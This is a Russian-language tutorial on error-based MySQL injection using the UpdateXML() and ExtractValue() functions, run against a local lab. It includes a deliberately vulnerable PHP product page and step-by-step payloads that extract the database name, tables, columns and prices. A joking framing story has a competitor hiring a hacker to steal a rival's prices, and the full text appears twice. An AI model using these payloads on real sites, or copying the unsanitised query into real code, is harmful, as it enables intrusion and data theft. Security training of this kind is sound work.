Всем привет!
Предыдущие статьи по инъекциям:
union-based union-based-bystrye-texniki
Начиная с версии MySQL 5.1, разработчики внедрили функции для работы с XML. Для работы с XML есть две функции:
ExtractValue() - Позволяет выбирать записи средствами XPAth.
UpdateXML() - Возвращает измененный XML-фрагмент.
XPath (XML Path Language) — язык запросов к элементам XML-документа.
Несмотря на то, что в коде учебной веб-страницы мы не будем использовать XML, уязвимость прекрасно будет работать )
Мы просто будем использовать одну из функций XPATH, чтобы генерировать ошибку и получать вывод нужных данных.
Ну что же, запустим mysql, и создадим новую базу:
service mysql start
create database my_db;
use my_db;
Создадим таблицу, и заполним её данными:
CREATE TABLE IF NOT EXISTS products (
ID int(11)UNSIGNED NOT NULL AUTO_INCREMENT,
Name VARCHAR(40) NOT NULL,
Price int(11)UNSIGNED NOT NULL,
PRIMARY KEY (ID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO products (Name, Price) VALUES
('Хлеб', 35),
('Йогурт', 27),
('Торт', 500);
Теперь в /var/www/html/ создадим страничку product.php и скопируем туда следующий код:
После этого заходим по адресу localhost/product.php (не забываем запустить апач), и если нигде не ошиблись, увидите это:
Пощёлкав по ссылкам в таблице, можно увидеть продукт, соответствующий идентификатору в таблице. А вот с ценничками туговато, придётся пошаманить, чтобы их узнать.
*****************************************
- Алё, шеф! Наши конкуренты скоро запускают сеть продуктовых магазинов. Мне удалось выяснить адрес сайта с товарами. Пока сайт в разработке, и цены на товары скрыты.
- Найди хакера, и достань прайс. Нам не нужны сюрпризы.
- У тебя 24 часа, действуй!
*****************************************
Ну что хакеры, сначала выясним название базы данных, отправив такой запрос с updatexml:
1' and updatexml(null,concat(CHAR(123),database(),CHAR(125)),null)-- -
Отлично, в выводе ошибки присутствует название базы my_db. Здесь мы использовали тип данных char, и в данном примере, я использовал скобки {} для выделения выводимых данных. Можно использовать всё что угодно, кому как больше нравится. Посмотреть таблицы символов ascii можно
Также можно использовать HEX
1' and updatexml(null,concat(0x7B,database(),0x7D),null)-- -
Выведем названия таблиц:
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1),0x7D),null)-- -
Запрос с увеличением значения limit отдал начальную страницу, значит таблица только одна products
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 1,1),0x7D),null)-- -
Добываем колонки:
1' and updatexml(null,concat(0x7B,(select column_name from information_schema.columns where table_schema='my_db' and table_name='products' limit 0,1),0x7D),null)-- -
Поочерёдно, увеличивая limit, достаём ещё name и price. Итого у нас 3 колонки. Если хочется заранее узнать количество колонок, нужно использовать count.
1' and updatexml(null,concat(0x3a,(select count(*) from products)),null)-- -
По одной записи выводить долго, используем group_concat и выведем всё сразу.
1' and updatexml(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='products'),0x5c),1)-- -
Осталось узнать что почём:
1' and updatexml(1, concat(0x5c, (select group_concat(name,0x3a,price) from products),0x5c),1)-- -
Оп-па! Нежданчик однако... Всё не выводится, мы видим всего 20 символов. Придётся хитрить, используем подзапрос substr и выставим отображение пускай 100 строк, начиная с 19-й.
1' and updatexml(0,concat(0x0a,(select substr(group_concat(name,0x3a,price),19,100)from products)),0)-- -
Все данные вытащены.
- Алё шеф! Хакер быстро справился. Нам не о чем беспокоиться, цены средние по городу.
Отлично! Возьмёшь свой гонорар у бухгалтера, два дня выходных бонусом.
Как мы видим функция UpdateXML() даёт довольно простую технику, но к сожалению имеет большое ограничение по количеству выводимых символов. А что же функция ExtractValue()? Техника для неё схожая и ограничение тоже.
Всё тащится таким же образом:
Название базы:
1' or ExtractValue(1,concat(0x5c,database()))-- -
Названия колонок:
1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1)))-- -
Количество колонок:
1' and extractvalue(0x0a,concat(0x0a,(select count(*) from products)))-- -
Колонки одним запросом:
1' and extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='my_db' and table_name='products')))-- -
Данные построчно:
1' and extractvalue(0x0a,concat(0x0a,(SELECT concat(id,0x3a,name,0x3a,price,0x0a) FROM my_db.products LIMIT 0,1)))-- -
На этом всё друзья, а потренироваться можно на тех же задачах, ссылки на которые были в предыдущих статьях. Те же задачи уязвимые к union based, также решаются через XPATH.
Предыдущие статьи по инъекциям:
union-based union-based-bystrye-texniki
Начиная с версии MySQL 5.1, разработчики внедрили функции для работы с XML. Для работы с XML есть две функции:
ExtractValue() - Позволяет выбирать записи средствами XPAth.
UpdateXML() - Возвращает измененный XML-фрагмент.
XPath (XML Path Language) — язык запросов к элементам XML-документа.
Несмотря на то, что в коде учебной веб-страницы мы не будем использовать XML, уязвимость прекрасно будет работать )
Мы просто будем использовать одну из функций XPATH, чтобы генерировать ошибку и получать вывод нужных данных.
Ну что же, запустим mysql, и создадим новую базу:
service mysql start
create database my_db;
use my_db;
Создадим таблицу, и заполним её данными:
CREATE TABLE IF NOT EXISTS products (
ID int(11)UNSIGNED NOT NULL AUTO_INCREMENT,
Name VARCHAR(40) NOT NULL,
Price int(11)UNSIGNED NOT NULL,
PRIMARY KEY (ID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO products (Name, Price) VALUES
('Хлеб', 35),
('Йогурт', 27),
('Торт', 500);
Теперь в /var/www/html/ создадим страничку product.php и скопируем туда следующий код:
HTML:
<!doctype html>
<html lang="ru">
<head>
<title>Магазин</title>
</head>
<body>
<?php
$host = 'localhost'; // Хост
$user = 'root'; // Имя пользователя
$pass = ''; // Установленный пароль пользователю
$db_name = 'my_db'; // Имя базы данных
$link = mysqli_connect($host, $user, $pass, $db_name); // Соединяемся с базой
// Ругаемся, если соединение установить не удалось
if (!$link) {
echo 'Не могу соединиться с БД. Код ошибки: ' . mysqli_connect_errno() . ', ошибка: ' . mysqli_connect_error();
exit;
}
if (isset($_GET['id'])) { //проверяем, есть ли переменная
//смотрим строку из таблицы
$sql = mysqli_query($link, "SELECT * FROM products WHERE ID = '{$_GET['id']}'");
if(!$sql){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$result=mysqli_fetch_array($sql);
echo $result['Name'];
}
?>
<table border='1'>
<tr>
<td>Идентификатор</td>
<td>Наименование</td>
<td>Цена руб.</td>
</tr>
<?php
$sql = mysqli_query($link, 'SELECT ID, Name, Price FROM products');
while ($result = mysqli_fetch_array($sql)) {
echo '<tr>' .
"<td>{$result['ID']}</td>" .
"<td><a href='?id={$result[ID]}'>Посмотреть</a></td>" .
"<td></td>" .
'</tr>';
}
?>
</table>
</table>
</body>
</html>
После этого заходим по адресу localhost/product.php (не забываем запустить апач), и если нигде не ошиблись, увидите это:
Пощёлкав по ссылкам в таблице, можно увидеть продукт, соответствующий идентификатору в таблице. А вот с ценничками туговато, придётся пошаманить, чтобы их узнать.
*****************************************
- Алё, шеф! Наши конкуренты скоро запускают сеть продуктовых магазинов. Мне удалось выяснить адрес сайта с товарами. Пока сайт в разработке, и цены на товары скрыты.
- Найди хакера, и достань прайс. Нам не нужны сюрпризы.
- У тебя 24 часа, действуй!
*****************************************
Ну что хакеры, сначала выясним название базы данных, отправив такой запрос с updatexml:
1' and updatexml(null,concat(CHAR(123),database(),CHAR(125)),null)-- -
Отлично, в выводе ошибки присутствует название базы my_db. Здесь мы использовали тип данных char, и в данном примере, я использовал скобки {} для выделения выводимых данных. Можно использовать всё что угодно, кому как больше нравится. Посмотреть таблицы символов ascii можно
Ссылка скрыта от гостей
Также можно использовать HEX
1' and updatexml(null,concat(0x7B,database(),0x7D),null)-- -
Выведем названия таблиц:
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1),0x7D),null)-- -
Запрос с увеличением значения limit отдал начальную страницу, значит таблица только одна products
1' and updatexml(null,concat(0x7B,(select table_name from information_schema.tables where table_schema='my_db' limit 1,1),0x7D),null)-- -
Добываем колонки:
1' and updatexml(null,concat(0x7B,(select column_name from information_schema.columns where table_schema='my_db' and table_name='products' limit 0,1),0x7D),null)-- -
Поочерёдно, увеличивая limit, достаём ещё name и price. Итого у нас 3 колонки. Если хочется заранее узнать количество колонок, нужно использовать count.
1' and updatexml(null,concat(0x3a,(select count(*) from products)),null)-- -
По одной записи выводить долго, используем group_concat и выведем всё сразу.
1' and updatexml(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='products'),0x5c),1)-- -
Осталось узнать что почём:
1' and updatexml(1, concat(0x5c, (select group_concat(name,0x3a,price) from products),0x5c),1)-- -
Оп-па! Нежданчик однако... Всё не выводится, мы видим всего 20 символов. Придётся хитрить, используем подзапрос substr и выставим отображение пускай 100 строк, начиная с 19-й.
1' and updatexml(0,concat(0x0a,(select substr(group_concat(name,0x3a,price),19,100)from products)),0)-- -
Все данные вытащены.
- Алё шеф! Хакер быстро справился. Нам не о чем беспокоиться, цены средние по городу.
Отлично! Возьмёшь свой гонорар у бухгалтера, два дня выходных бонусом.
Как мы видим функция UpdateXML() даёт довольно простую технику, но к сожалению имеет большое ограничение по количеству выводимых символов. А что же функция ExtractValue()? Техника для неё схожая и ограничение тоже.
Всё тащится таким же образом:
Название базы:
1' or ExtractValue(1,concat(0x5c,database()))-- -
Названия колонок:
1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema='my_db' limit 0,1)))-- -
Количество колонок:
1' and extractvalue(0x0a,concat(0x0a,(select count(*) from products)))-- -
Колонки одним запросом:
1' and extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='my_db' and table_name='products')))-- -
Данные построчно:
1' and extractvalue(0x0a,concat(0x0a,(SELECT concat(id,0x3a,name,0x3a,price,0x0a) FROM my_db.products LIMIT 0,1)))-- -
На этом всё друзья, а потренироваться можно на тех же задачах, ссылки на которые были в предыдущих статьях. Те же задачи уязвимые к union based, также решаются через XPATH.